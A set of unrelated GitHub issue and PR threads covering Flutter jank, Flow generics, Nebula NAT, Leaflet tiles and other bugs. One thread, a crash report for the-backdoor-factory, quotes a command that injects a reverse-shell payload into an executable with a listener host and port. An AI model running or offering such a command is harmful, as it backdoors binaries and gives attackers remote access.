    • Chrome (web) • chrome                                   • web-javascript • Google Chrome 89.0.4389.90
    ! Error: YBC is busy: Copying cache files from device. Xcode will continue when YBC is finished. (code -10)

I simplified the testing code and made a demo as attached as flutter_smooth_test.zip
flutter_smooth_test.zip
The following are steps to produce the issue:
Step1
If the demo app had been installed, delete it and reboot, go to step 2 if not.
Step 2
Run ‘flutter run --profile’ to install and run it
Step 3
Open the DevTools via the url told by the terminate which looks as http://<IP_ADDRESS>:9103?uri=http%3A%2F%2F<IP_ADDRESS>%3A61083%2FVuDGehzIoBM%3D%2F
Step 4
At the DevTools panel, select Performance and click the ‘Clear’ button first
Step 5
Scroll the page in the demo app,
Step 6
Click the ‘Refresh’ button to get the timeline details, Thus, It show me that there are many frames whose raster work costs as much as 70 or 80 ms, and even more sometimes.

Step 7
Tap ‘q’ to quit the app, but don’t reboot the device nor uninstall the demo app
Step 8
Repeat the steps nor 2 to 6
This time, The performance tool told me little frames costs more than 16.7 ms, It runs smoothly as the following image show.

My question is still that what’s the differences when the device is rebooted or not? What makes the raster costs so many time for some frames when the page is first scrolled? Is there any suggestions for me? Thank you very very much!

Hi @cocoayang
Thanks for the details, and steps to reproduce the issue, I can confirm the same behaviour on XR running iOS 14.4.2
However your code sample is rather large, can you please a minimal code sample that can be run from main.dart, something like this
Related https://github.com/flutter/flutter/issues/77396

Hi, @TahaTesser
Thank you for your reply, I simplified the code sample again here and reproduce the issue more accurately as the following:
Step 1
If the demo app had been installed, delete it and reboot, go to step 2 if not.
Step 2
Run ‘flutter run --profile’ to install and run it
Step 3
Open the DevTools via the url told by the terminate which looks as http://<IP_ADDRESS>:9103?uri=http%3A%2F%2F<IP_ADDRESS>%3A61083%2FVuDGehzIoBM%3D%2F
Step 4
At the DevTools panel, select Performance and click the ‘Clear’ button first
Step 5
Drag the page upward the item with white background show completely, here is a recording of what I did.
https://user-images.githubusercontent.com/22711007/113329635-64a2f500-9350-11eb-9f71-bcd369371bb2.MP4
Step 6
Click the ‘Refresh’ button to get the timeline details, Thus, It show me that there are many frames whose raster work costs as much as 70 or 80 ms, and even more sometimes.

Step 7
Tap ‘q’ to quit the app, but don’t reboot the device nor uninstall the demo app
Step 8
Repeat the steps from 2 to 6
This time, The performance tool told me little frames costs more than 16.7 ms, It runs smoothly as the following image show.

At this time, If I uninstall the demo app and goes the steps above from 1 to 6, I will get the same janky frames.
So, what’s the differences whether the app is installed for the first time or not?
What makes the raster costs so many time for some frames when item is first rendered while less time when the app launch again?
The cell is not so complex, But why it makes janky frames? Is there any way to better it?
What I wanner know most is that if the app is first installed, how can I make it runs as smoothly as launch again(not install again).
Hope for your help!

Hi @cocoayang
Thanks so much for the minimal code sample, I can see the same issue

Hi, @TahaTesser
Thank you and glad to hear you can reproduce it, Please tell me ASAP if there is any solution, It's important for me.
Best wishes!

Commenting to follow

@owenkealey
Hi, What's the progress? Thanks!

I’m not on the flutter team
On Wed, Apr 14, 2021 at 11:22 PM cocoayang @.***> wrote:

@owenkealey https://github.com/owenkealey
Hi, What's the progress? Thanks!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/flutter/flutter/issues/79063#issuecomment-820028182,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AGH6KGFANGAPBG6V4OJMFZLTIZLWBANCNFSM4ZZ2EQ4Q
.

Rendering the scene on an ancient Android tablet I see a number of shader compilations across multiple frames, as well as a really expensive one-time layout that seems to be doing font work (maybe loading the font that contains the CJK characters?). The traces look like the pictures above.
To answer the question as to why the first run would have more dropped frames, the shader compilations will be the cause of that. We cache those across runs so they don't cost the second time.
We will need https://github.com/flutter/flutter/issues/77301 to determine what the shaders are exactly, and why they're not all found in the same frame. If I were to guess, I would assume the shadow on the Card, and the clips on the images, are the cause. The clips on the images notably only kick in once the images are loaded, and that takes a few frames. I don't know why each image would need a separate shader though.
The shader warm-up feature should help here in the short term. (Long term we'll need to find a solution that doesn't involve having to find which shaders to warm up, maybe #77412.)
I'm curious as to what is happening in the frame where the font work happens. I tried putting CJK characters in the first frame (by changing the placeholder blue and green tiles) but while that made the font loading stuff disappear from the profile, there was still an expensive layout so I'm guessing it wasn't all about font work.

Shader compilation jank on iOS is addressed by Impeller, which is not on by default on stable channel. I leave this open to track the expensive layout, but I'll remove the engine tag, and mark P4 to reflect the updates since this issue was filed.

I think this should be closed as obsolete


gobbles up some low-hanging testing fruit

:yum: :yum: :yum:
This will pass once #12 is merged...

@csdaw - Happy if I merge this?

Go for it!


fix: return when there is a not found error as well

What kind of change does this PR introduce?
When SECURE_EMAIL_CHANGE is enabled and one does the following:

Initiate an email change
do a verification with a combination of the wrong email and 6 digit OTP a panic will result. This is because an access on  OTT (which is nil) is made

We should probably return an error instead

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 1 (0.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 57.72%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

internal/models/one_time_token.go
0
1
0.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
8718

Relevant Lines:
15104

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

7 of 8 (87.5%)  changed or added relevant lines in 1 file are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage increased (+0.06%) to 57.775%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

internal/models/one_time_token.go
7
8
87.5%

Files with Coverage Reduction
New Missed Lines
%

internal/models/one_time_token.go
1
69.41%

Totals

Change from base Build<PHONE_NUMBER>:
0.06%

Covered Lines:
8731

Relevant Lines:
15112

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

3 of 6 (50.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.03%) to 57.75%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

internal/models/one_time_token.go
3
6
50.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.03%

Covered Lines:
8726

Relevant Lines:
15110

💛  - Coveralls


Call rescale_output_resolution before early return

Hello :wave:
While looking through the splatfacto implementation, I noticed that in the case of an early exit in the forward pass due to a zero radii sum the camera does not get rescaled back to its original dimensions. I think this might be a mistake? I haven't found a dataset where the condition occurs, but it seems correct to make sure the camera is rescaled back before returning.

in the case of an early exit in the forward pass due to a zero radii sum the camera does not get rescaled back

Thank you for catching it! This condition can actually happen quite frequently when there's no gaussians in front (e.g., due to cropping + moving the camera away from the cropbox).

The fix looks great, but I'm just wondering if we can remove duplicate code, by moving the camera rescaling logic (L745, and L763) before the radii check (L738):
https://github.com/nerfstudio-project/nerfstudio/blob/c5520fb4b1ff45907f3a6a67acc76cdbcbf08ccb/nerfstudio/models/splatfacto.py#L737-L747
And we can change rgb = background.repeat(int(camera.height.item()), int(camera.width.item()), 1) to rgb=background.repeat(H, W, 1).
... unless there's any dependence on the camera object I'm missing between L750-760.

Instead of adding this line to early return, could you move the line later to an earlier position: right after project_gaussian() call. We no longer need camera after that.

You can test your code by enabling --pipeline.model.num_downscales=2 because currently it is set to zero by default.

lgtm


Support $Keys on generic types

This code fails:
class Test<T> {

  f: { [k:$Keys<T>]: number }

  set(key: $Keys<T>) {
    this.f[key] = 1
  }

}

with the following error:
assignment of computed property/element
Computed property/element cannot be assigned on
T

I expected it to be able to typecheck the key parameter passed to the set function to validate that it actually is a key of T.

Flow doesn't know if T is of type Object. If you inform it via bounded polymorphism that T is guaranteed to be an Object, then you should be able to get what you need:
class Test<T: {}> {

  f: { [k:$Keys<T>]: number }

  set(key: $Keys<T>) {
    this.f[key] = 1
  }

}

This doesn't really work, though

You should never use Object as upper bound, it is unsafe

It does work though:
https://flowtype.org/try/#0PQKgBAAgZgNg9gdzCYAoVBjGBDAzrsAFQFNcAXAHkIC4wB5AIwCtiMyA+MAb3TDClpcwAbQDW1ACQBpYgE9cVdgF1aAOwCuAWwbEATmAC+vMLmJkAFKLm1pchYXYBKbqj58yACwCWuAHRQxOSUwAF4wAEZXQ1QjVAATVhxdYjAAN2x9MloScgoubAAHAphiWnJdL1UAcwAaMAZsGBgysgrqg3YAbnQyX1MLAHJC4uIBxx6+s3MBhqaxif7p3DioedReqF9hku71-y3lqG6gA

Works from outside, but not from inside:
class Test<T: Object> {

  f: { [k:$Keys<T>]: number }

  set(key: $Keys<T>) {
    this.f['foo'] = 1 // no error
  }
}

Fair enough. Should this be treated as a bug then?

Fair enough. Should this be treated as a bug then?

Not really, {} instead of Object also fixes the problem, but without such issue

@vkurchatkin I didn't know that. My bad then. I edited the comment.


Linux support

Please react to this issue if you want Linux support

I'll try to work on it this weekend!

@jntnl42
Hey - please note: IBluetoothConnector has been changed.

virtual void disconnect() noexcept(false) = 0;

virtual void disconnect() noexcept = 0;

I'll be pushing these changes to master in a bit, so you can just update from there.

Linux has bluetoothctl, which can be used (afaik) to send raw data to bluetooth device.
Could somebody describe protocol so I could try to use bluetoothctl to tweak device?
I mean, which data sequence should I send and what response should I expect.

@alexryndin I built the program so that people that want to add a new platform only have to copy a file from Dear Imgui and implement an interface for Bluetooth communication, so you don't actually need to understand the protocol. However, jimzrt has already implemented a Linux version! I'm just waiting for a couple of fixes and then it'll be merged.

@Plutoberth your software is great!
I just trying to go deeper and understand the protocol and commands and maybe create something like simplest bash script to control XM4 over d-bus or something. The problem is that I'm a total noob in bluetooth and dbus.

@Plutoberth your software is great!
I just trying to go deeper and understand the protocol and commands and maybe create something like simplest bash script to control XM4 over d-bus or something. The problem is that I'm a total noob in bluetooth and dbus.

Ahh, I see. Well, the format itself is documented in the CommandSerializer class, everything you need is there. Although some people have reported issues with the XM4, so it could take some time to adapt it.

Added by jimzrt and merged :)


KeyError: 'textVirtualAddress'

I am using Kali linux 3.18 (latest), and the-backdoor-factory version 3.0.3.
When I try to add an executable, by either adding a new code section, or by trying to add it in existing cave, I get an error.
root@kali:~/the-backdoor-factory# ./backdoor.py -f f2.exe -H <IP_ADDRESS> -P 8081 -s reverse_shell_tcp -a
[] In the backdoor module
[] Checking if binary is supported
[*] Gathering file info
Traceback (most recent call last):
File "./backdoor.py", line 62, in
class bdfMain():
File "./backdoor.py", line 563, in bdfMain
result = supported_file.run_this()
File "/root/the-backdoor-factory/pebin.py", line 145, in run_this
return self.patch_pe()
File "/root/the-backdoor-factory/pebin.py", line 1019, in patch_pe
issupported = self.support_check()
File "/root/the-backdoor-factory/pebin.py", line 963, in support_check
self.gather_file_info_win()
File "/root/the-backdoor-factory/pebin.py", line 314, in gather_file_info_win
self.flItms['textPointerToRawData'] +
KeyError: 'textVirtualAddress'
root@kali:~/the-backdoor-factory# uname -a
Linux kali 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux
Python 2.7.3 (default, Mar 13 2014, 11:03:55)
[GCC 4.7.2] on linux2

Can you give me some details about the binary? A download link perhaps?

So if you were to open this file in a PE viewer, you will probably see that it does not have a text section named UPX, COM, or text. If you happen to open it an PE viewer, please send me the name of that section.  I'll fix BDF code to handle the error in the meantime.

Hei,
Will check the stuff when I get home, for sure, in like 1-2 hours.
On Tue, Jul 7, 2015, 3:52 PM secret squirrel<EMAIL_ADDRESS>wrote:

So if you were to open this file in a PE viewer, you will probably see
that it does not have a text section named UPX, COM, or text. If you happen
to open it an PE viewer, please send me the name of that section. I'll fix
BDF code to handle the error in the meantime.
—
Reply to this email directly or view it on GitHub
https://github.com/secretsquirrel/the-backdoor-factory/issues/52#issuecomment-119194636
.

Fixed the error, if you run the current version off of github (not kali) BDF will tell you the 'text' section actual name.
https://github.com/secretsquirrel/the-backdoor-factory/commit/fefab81859e48fd3963d6edef9d9876d16eb2736

Cool, thanks.
On Tue, Jul 7, 2015, 4:19 PM secret squirrel<EMAIL_ADDRESS>wrote:

Fixed the error, if you run the current version off of github (not kali)
BDF will tell you the 'text' section actual name.
fefab81
https://github.com/secretsquirrel/the-backdoor-factory/commit/fefab81859e48fd3963d6edef9d9876d16eb2736
—
Reply to this email directly or view it on GitHub
https://github.com/secretsquirrel/the-backdoor-factory/issues/52#issuecomment-119200630
.

closing this, didn't hear anything back from you.


Router pattern

How to implement something like that https://router.vuejs.org/guide/#html in most optimal way?..
For example, I have some admin panel, something like Django Admin.
I have some main sections (like Django admin apps), categories (like models in Django admin) and final pages with grids, buttons, related with forms etc.
I need be able to add/remove new components without original page reloading.
For example, I have sections in top menu and categories in left menu.
In this case after user select topmenu item, he/she will get new left menu and new page content. If he/she select left menu item - same topmenu, without reloading but new page content (right side).
May be we can create some kind of recommended unified way to do that things?..

Where I would start is with one main component that has boolean fields that hide/show the components and click events on the sections/categories which either set a flag or call a component method if needed. It might also make sense to use child components for the sidebar or top menu if you want to keep those concerns separated.
Feel free to make a branch with some code if you get stuck implementing!

This functionality would be fantastic.

@adamghill , Could you explain a little bit more please? I'd love to implement this. btw... keep up the great work.

@adamghill The problem with your approach is that the url will not be handled. I know that this is not a replacement for full featured SPA frameworks with a routing system but it would be nice to have some sort of routing handler for django unicorn components. Maybe using direct views.


Two NAT and weird observation

Hi,
I came to this project as I was testing ZeroTier and Tailscale. Both look great, but I really need something that is fast, is used in production (Slack), and doesn't include some third-party looking into our traffic.
That said, I has great success getting everything connected. Except for hosts that don't have a public IP, i.e., a private IP (either with a fixed address or per DHCP).
The weird thing is that I can see traffic in the lighthouse and when a host within another NAT pings the host in question I see a lot of traffic and handshakes and responses. No errors, but also no feedback in the shell (the one that pings).
I have pfSense running in both networks, but even with turning the firewall off, it does not work. Next, I've tried to set up a Linux Bridge and that also didn't resolve the issue. I've re-created all the certs, double-checked the IPs, made certain that the lighthouse has a public IP, etc.
Note: As soon as I give this host a public IP, it works.
Honestly not really sure what Is going on and I hope someone has a clue.

I also have a similar observation. What has worked for me is to give public ip atleast at 1 end if both sides are NAT'ed. That surely works.
I also have tried doing port forwarding from the router in front , but it does not work consistently.

Doesn't do it for me:

Lighthouse = public IP (not behind a firewall other than local)
Host 1 = public and private IP (pfSense DHCP and Firewall on network 1)
Host 2 = private IP (pfSense DHCP and Firewall on network 2) <--- No access from and to others
Host 3 = public and private IP (DigitalOcean with Firewall)

It works as soon as Host 2 gets a public IP (no other changes). No matter if the Firewall is on or off.
ZeroTier, Tailscale, and Netmaker all work with the above setup.

I can confirm. See #666 also

Confirmed on versions 1.3.0 and 1.5.2. I upgraded all of my hosts (18 running nebula across four datacenters) this weekend to see if that would fix the issue with the older version, but it did not. The setup has three lighthouses, one each in US-west, US-east, EU-west all with public IPs and correct firewall rules.
All hosts behind OPnsense firewalls on physically separate subnets (at two locations) can talk to each other without issue (these talk over an OpenVPN site to site link with no firewall restrictions). Any host traffic going outside of the firewalls can ping the public VMs at various cloud providers but those same hosts cannot get traffic back into the non-cloud DCs reliably. They will work sometimes and then cease traffic entirely.
Sometimes restarting firewalld on the cloud VMs resumes traffic but only for a short period, sometimes it fails to help at all.

I've tried forcing the listening IP and port for nebula as well as using <IP_ADDRESS> and 0 respectively, but neither makes a difference.
I've enabled UDP NAT punching rules (static port map for UDP) at the OPNsense firewall level as mentioned in one issue/post, which did not make a difference.
I've enabled all punchy aspects (punch, return, delay, punch_back) but the issue persists.
I've enabled all the usual trusted rules on firewalld for the cloud VMs, still the issue persists.
I've cleared the OPNsense firewall state tables and rebooted them to try that out, doesn't help.

So right now I've got a great internal VPN for hosts that can already talk to each other over a private LAN to begin with, and several cloud VMs which cannot get their traffic back across the nebula VPN into the datacenters. So basically nebula isn't doing its job at all.
Like the original post mentioned, I had no issues at all with ZeroTier or TailScale, only with Nebula. For further comparison, this has not been an issue when spinning up ansible automated tunnels with Wireguard, OpenVPN, and IPsec.

In the meantime, we switched to OPNSense (from pfSense) but that doesn't resolve the issue either. As we couldn't wait any longer we deployed Tailscale, well Headscale to be precise (https://github.com/juanfont/headscale).
While it works, it has its own quirks. Subnets don't really work either and even with local DERP installed it can take a few seconds to connect.

If you're using OPNsense or PFsense have a look here: https://blog.ktz.me/punching-through-nat-with-nebula-mesh/
The reason ZeroTier works is because when ZT fails to punch through UDP, it will fall back to using the moon as a relay. Nebula doesn't have a relay mode.

Thanks @DePingus for that link. By following the directions there for one of my networks (not LAN, but a custom "Home" network) my devices are now able to connect via their Nebula IPs while behind OPNSense.
Would someone be so kind as to put into layman's terms any potential security impact of disabling UDP port rewriting for an entire network? I'm not a network expert but I assume OPNSense wasn't configured this way by default for a good reason.

Nebula 1.6.0 is released with a Relay feature, to cover cases like a Symmetric NAT.
https://github.com/slackhq/nebula/pull/678
If you don't want to change the NAT behavior of your OPNsense system, you can use relays.
Check out the example config to see how to configure a Nebula node to act as a relay, and how to configure other nodes to identify which Relay can be used by peers for access.
Also, take a look at https://github.com/slackhq/nebula/issues/33#issuecomment-1180569297 for more info on how to configure it.

I'm closing this out for inactivity. If you continue to have issues after trying the relay feature, pleasefeel free to open up a new issue or join us on Slack. Thanks!


V1.7.1

This is a mere replacement of #545, as I'm not being able to push changes (merge conflicts in this case) directly to develpoment

Travis automatic deployment:
https://pr547--safereact.review.gnosisdev.com


SUTD NihonGo! Intro Session 2021

Session Name
SUTD NihonGo! Intro Session 2021
Abstract
Come and learn more about SUTD NihonGo and what we do, and try your hand at one of our regular activities!
Student Organisation organising this session
SUTD NihonGo!
Event Format
Physical
Session intent (what to expect)

No requirements to join the intro session or SUTD NihonGo
Participants will get to learn more about what SUTD NihonGo is and what it does
Participants will also get to try a Japanese culture-related activity similar to those found during our regular cultural sessions

Session details
Date: 20 September (Week 2 Monday)
Venue: Think Tank 17 (if unavailable, Think Tank 16 is most preferred alternative)
Time: 8 - 10 pm
Expected max turnout: 28, including 4 exco members as presenters
Programme:

8 - 8.30 pm: Short intro presentation on NihonGo's activities
8.30 - 9.30 pm: Cultural activity: Participants will get to enjoy a presentation on beigoma (Japanese spinning tops) and try them out for themselves within their own groups. In case the game cannot be prepared due to time/technical concerns, a card game (koi-koi, using flower cards) will be prepared instead.
9.30 - 10 pm: Time allocated for discussions within groups and/or questions about the club or SUTD life

Throughout the event, participants will be grouped into groups of 4, each seated around a table. As of 22/6/2021, Think Tank 16 has maximum capacity of 30 and Think Tank 17 has maximum capacity of 28 as prescribed by OSL.
Please see the seating arrangement as follows.

Safety concerns and measures:

Safe distancing: to prevent mixing, participants will be pre-allocated seats and not allowed to mix together throughout the session. They will be required to keep a distance of 3m from other groups and 1m within groups.
Cultural activity (beigoma - spinning tops): launching the tops require swinging motions, and participants may hit others within the same group while doing so. To prevent this, we will remind participants to check first for other participants in their immediate vicinity, and to take turns instead of attempting to launch tops simultaneously.

Speakers/Workshop facilitators
N/A
Sign up link(if any)
https://forms.office.com/Pages/ResponsePage.aspx?id=drd2NJDpck-5UGJImDFiPVK04m4na3FKgEl0HcQtR5NUMDBXS1BEUkNFNU1CVVVKRE1WWktRREIwMi4u
Logistical details / Budget Needed
Additional budget needed: $10 - rope to launch beigoma (spinning tops)
Club email<EMAIL_ADDRESS>Telegram group for new members: https://t.me/joinchat/xrrA_jHl5aFmMTk1

hi @naffins thanks for submission!
Do note that claims are done via concur with valid receipts required, so giving a clearer breakdown can facilitate a smoother process for budet approval. Cheers!

Proposed changes for intro session:

Reopen registration at same link until Monday morning
Move event to club Discord server
Cancel cultural presentation portion
Remove limit on number of participants

We'll send out an email regarding the changes later today. Thanks and stay safe :)

Edit to previous comment:

We will not reopen registration
Cultural presentation portion will continue but there will be no physical portion (this will be for an internal session instead)

Understood, thank you!


Windows: nmake fails due to incorrectly generated makefile

nmake -f makefile build_libs
Fails with:
NMAKE : fatal error U1073: don't know how to make '"Configurations\windows-makefile.tmpl Configurations\common.tmpl"'
The problem seems to be with the double quotes in the following part of the generated makefile:
configdata.pm: "$(SRCDIR)\Configure" "Configurations\windows-makefile.tmpl Configurations\common.tmpl" "build.info" ...

Yup, we found out.  It's been fixed with #1590, which has now been merged into the affected branches.


Style map names

If a UFO doesn’t have info.styleMapFamilyName, info.styleMapStyleName defined, ufo2ft generates name tables with nameID1 as info.openTypePreferredFamilyName + " " + info.openTypePreferredSubfamilyName or as fallback info.familyName + " " + info.styleName.
This means one can end up with fonts with nameID1 = "Some Sans Regular" and nameID2= "Regular".

Thanks for spotting this! Can you please split up that long test method into separate independent tests? I find it hard to keep track of the state of the info object.

OK, they’re now split up.


Custom action while await

hi! Thank you very much for the tool, it's very useful!
could you tell me, is it possible to do some custom action while condition waiting?
something like this:
// Publish an asynchronous event:
publishEvent(updateCustomerStatusEvent);
// Awaitility lets you wait until the asynchronous operation completes:
await()
    .atMost(5, SECONDS)
    .do(() -> pollEvent())
    .until(customerStatusIsUpdated());

and i expect that the method pollEvent() will be called by awaitility before check the condition.
now i use
// Publish an asynchronous event:
publishEvent(updateCustomerStatusEvent);
// Awaitility lets you wait until the asynchronous operation completes:
await()
    .atMost(5, SECONDS)
    .until(() -> {
        pollEvent();
        customerStatusIsUpdated()
    });

but it's not elegant )
of course the method pollEvent should be non-blocking

if you wonder "where is it needed?"
i use https://github.com/real-logic/aeron and in that library you have to poll an incoming data-stream for receiving messages.
Thank you!

@johanhaleby ?

Sorry I'm on vacation and I don't have a computer with. Will try to reply
once I'm back.
tis 30 juli 2019 kl. 14:17 skrev Ivan Zemlyanskiy<EMAIL_ADDRESS>
:

@johanhaleby https://github.com/johanhaleby ?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/awaitility/awaitility/issues/136?email_source=notifications&email_token=AABNVFKU5HPBR4FM3CBZ6ETQCAWNZA5CNFSM4IHVBOEKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD3DYXNQ#issuecomment-516393910,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABNVFPKZSHG3EXYZ7QXR3DQCAWNZANCNFSM4IHVBOEA
.

--
Sent from my phone

cool, thank you! I'll look forward you're back, no rush.
Have a good vacation ;-)

@QIvan Thanks for your patience, we have long vacations in Sweden :)
I understand your use case but let's zoom out just a little bit. Do you mean before or after after the condition has been run the first time? What if someone needs to pull data just once before the condition? What about some cleanup after the condition has failed or passed? Should all of these use cases be incorporated into Awaitility? I'm not so sure since it may lead to an API explosion but I'm happy to hear your thoughts.
Another "solution" would be to compose the polling function with the condition function. This way you could be in charge of what you'd like to do before or after the condition is evaluated and still retain separation of concerns and we don't have to change the API. Let me illustrate what I mean with some Kotlin code (because it looks nicer):
Instead of:
await()
    .atMost(5, SECONDS)
    .do(() -> pollEvent())
    .until(customerStatusIsUpdated());

one could do:
await()
    .atMost(5, SECONDS)
    .until(::pollEvent andThen :: customerStatusIsUpdated);

Where andThen can be defined something like this:
infix fun <P, R1, R2> Function1<P, R1>.andThen(f: (R1) -> R2): (P) -> R2 = { p: P ->
    f(this(p))
}

Such functions are available in every "functional" library in Java or Kotlin.
Would this be an OK alternative?

Hi I have created PR for this issue. I am agree with @johanhaleby that is should not be exposed in the API and later on moved to a separate module. I have created to sample building block andThen and andBefore as a first draft. (still in WIP waiting for feedback)

@tko007 Thank you for your comments and for the PR

@tko007 Can you reference the issue in your commit, so that we can see the connection here, please?

@tko007 @johanhaleby After I have seen the FieldSupplierBuilder, I had the idea to implement this improvement also as a builder. So the idea is to create a fluent API that at the end builds a Callable. For example:
public class HookBuilder<T1, R1> {

    private Function<T1, R1> first;

    public HookBuilder(Function<T1, R1> first) {
        this.first = first;
    }

    public static <T1, R1> HookBuilder<T1, R1> first(Function<T1, R1> first) {
        return new HookBuilder<>(first);
    }

    public Callable<Boolean> andThen(Function<R1, Boolean> other) {
        return () -> (Boolean) first.andThen(other).apply(null);
    }

}

By doing so the usage would look something like:
    public void awaitWithCustomAction(){
        await().until(first(pollEvent()).andThen(this::customerStatusIsUpdated));
    }

    private Boolean customerStatusIsUpdated(Object o) {
        return true;
    }

    private Function<String, String> pollEvent() {
        return (a) -> a;
    }

Of course, if we want to support a cleanup at the end as well, we would need to adjust the builder accordingly. Also the name HookBuilder is not final, just a quick "placeholder", to show you the idea.
WDYT?

@QIvan Actually, I think your example is OK. :-) However, as you can see, we are still discussing your issue, but IMHO your example is perfectly fine as well.
await()
    .atMost(5, SECONDS)
    .until(() -> {
        pollEvent();
        customerStatusIsUpdated()
    });

@grofoli At first glance I think the builder approach is pretty cool actually. But just as you say, would this just be a fancier way of writing:
await()
    .atMost(5, SECONDS)
    .until(() -> {
        pollEvent();
        customerStatusIsUpdated()
    });

If so is it really worth the extract complexity? (i.e. adding and maintaining a new awaitility module that may not be used by that many people).

@johanhaleby IMHO, it is not really worth to add that complexity...


cloud notebooks - update metrics-plugin version, add input_data_type into definitions

Updated metrics-plugin version for cloud notebooks to pick up ibm-metrics-plugin[notebook]~=3.0.0
Added input_data_type to definitions

@nelwinn Was this change merged in the internal repo?
If not, please merge it there first and then raise a PR for the public repo. The steps were shared on how the changes need to flow for notebooks please follow the same.
cc: @arsuryan

@pgoyal-ibm Yes, the changes were already merged in internal repo

@nelwinn I don't see a PR for the same, can you please refer that here?

@nelwinn ^^


Pass config in each __init__ arg in PyTorchHubMixin

Same as what's done here but built-in.  Typically a class like this:
class Hiera(nn.Module, PyTorchModelHubMixin):
    def __init__(
        self,
        input_size: Tuple[int, ...] = (224, 224),
        in_chans: int = 3,
        embed_dim: int = 96,  # initial embed dim
        num_heads: int = 1,  # initial number of heads
        num_classes: int = 1000,
):
    ....

should automatically produce a config file like this
{
  "input_size": [
    224,
    224
  ],
  "in_chans": 3,
  "embed_dim": 96,
  "num_heads": 1,
  "num_classes": 1000,
  "stages": [
    1,
    2,
    7,
    2
  ],
}

loading should work correctly.

@Wauplin we can close this one since it has already been fixed

Correct!


Domain and File Filter (JavaScript, CSS, Images ...)

Do you intend to put a filter to eliminate for example links of files (JavaScript, CSS, Images ...) and of domains that are not the one of the own site?

If you are referring to the online scanner, yes, we plan at some point to allow user configurations (and even maybe add some filtering capabilities).


Map tiles not loading until a zoom is executed

After updating to Leaflet 0.8-dev, my tiles are not loading smoothly. The initial map is missing one tile it appears and when I change to other tile layers with the layer control, I end up with a completely blank map. No errors in the console. If I zoom though, the tiles refresh and all of them load.  See attached screenshots.

@rwwagner90 can you check this again with latest master? There were some tile loading-related changes.

I can try to edit my plnkr and see if it works. I've been on another project the past month or so, so I haven't been looking at leaflet as much.

This seems to have nothing to do with the CRS, I can reproduce it with this example:
var map = L.map('map').setView([52, 4], 3);
L.tileLayer('http://c.tile.stamen.com/toner/{z}/{x}/{y}.png').addTo(map);

// these two lines each stop the tiles from loading until the first zoom interaction
map.setView([52.1, 4], 3, {animate: false});
// map.setView([52.1, 4], 3, {reset: true});

http://jsfiddle.net/rord0mak/

I'm experiencing this with a normal setView too @jieter. In your fiddle, if you wrap your setView in a setTimeout of say 1000ms it works. So it must be a race condition with it firing too early, however I experience this randomly during the lifecycle of using my app, not just immediately after load.

Any updates? Can we pinpoint when and why the tiles stop loading? I will get one tile to load then it will stop calling for additional tiles to fill the container. As soon as I resize my screen it will call all the remaining tiles and will work from there on out.

I'm doing some hackery to force my map to be 100% height @bmulcahy. So perhaps the 100% height stuff messes it up somehow? Mine is very hacked up to fix this issue.

I think it is that @rwwagner90 .
I added this to my code after my page load
app.map.refresh(0);
app.map.refresh = function(timeout){
      window.setTimeout(function(){
      app.map.invalidateSize();
},timeout);
	};

I added the timeout because I have a collapsible panel in my app that does not throw the invalidateSize after the animation(0.5s) is complete, it will throw it as soon as it starts, so I'm left with the grey space in my map container.
Adding the invalidateSize forces the leaflet to double check the true size of the container.

We should not have to introduce hacks to get it to finish loading tiles though. There is still some sort of bug here.

@rwwagner90  agreed I was just supplying a temporary fix.

Probably unrelated but I had an issue where if I called marker.openPopup() and then immediately called map.fitBounds() the tiles stopped loading and I got a blank black map.
Putting this here in case it applies to anyone else who stumbles upon this issue via a random google search.

I have this issue also, but the map worked fine in a div until I moved the div to inside my form. not all tiles load but if I resize the browser they all load fine. the zoom for me does not reload the tiles.

@patriciaorgan call map.invalidateSize() after manipulating the container and it should be fine.

I also encountered this issue with 1.0 beta 1. Map worked fine until I added setView:true on locate options. The map zooms correctly to the location, but the tiles are not loaded until I pan or zoom out.
map.locate({
  setView: true
});

I made a new version of @rwwagner90's plunkr, that uses latest dev-version of Leaflet: https://playground-leaflet.rhcloud.com/jis/edit?html,output
It seems the problem has been resolved, since all tiles load without problem. Checking @jieter's jsfiddle (http://jsfiddle.net/rord0mak/) seems to indicate the same thing.
I'm closing this as fixed, but feel free to add more info if the problem persists.

This is probably a little silly but I was having this issue and then I realized I was running JS before I was loading css.
For some odd reason, when I swap their positions (i.e., load CSS first, then load JS) then this issue stops happening.
Dunno if anyone else had a similar issue but it fixed this problem for me.

@mourner So using leaflet 1.0.3 I have been getting this error quite a lot, its on larger maps and is definitely a race condition bug that happens intermittently. If I comment out the contents of _abortLoading the issue goes away, what impact would that have if I were to run with it as a solution?

@michaeltrim do you have a test case that reproduces the problem? Also check #5622 and #5381 to see if they apply to you, they are related.

@perliedman It's in a large client codebase so not easily as the problem is so intermittent anyway. It looks like it could well be related to those two issues. My app is running in electron and loading tiles from the filesystem. Is that fix in 1.1.0 ?

@michaeltrim #5381 was fixed in 1.1.0 but introduced another problem (#5622), that we're fixing in the upcoming release.

I experienced the same issue happens using less-js compiler.
Removed the compiler the issue is gone.

i have the same problem with my react-leaflet app.

Having a very similar issue using "leaflet": "^1.3.4" with "vuetify": "^1.2.0"  No solution found.

@humblecoder most probably you forgot to import leaflet.css styles

@cherniavskii You were right . . .kinda.  I was using<EMAIL_ADDRESS>but it wasn't working.  I switched to http://cdn.leafletjs.com/leaflet/v0.7.7/leaflet.css and it worked.  🤷♂

but it wasn't working

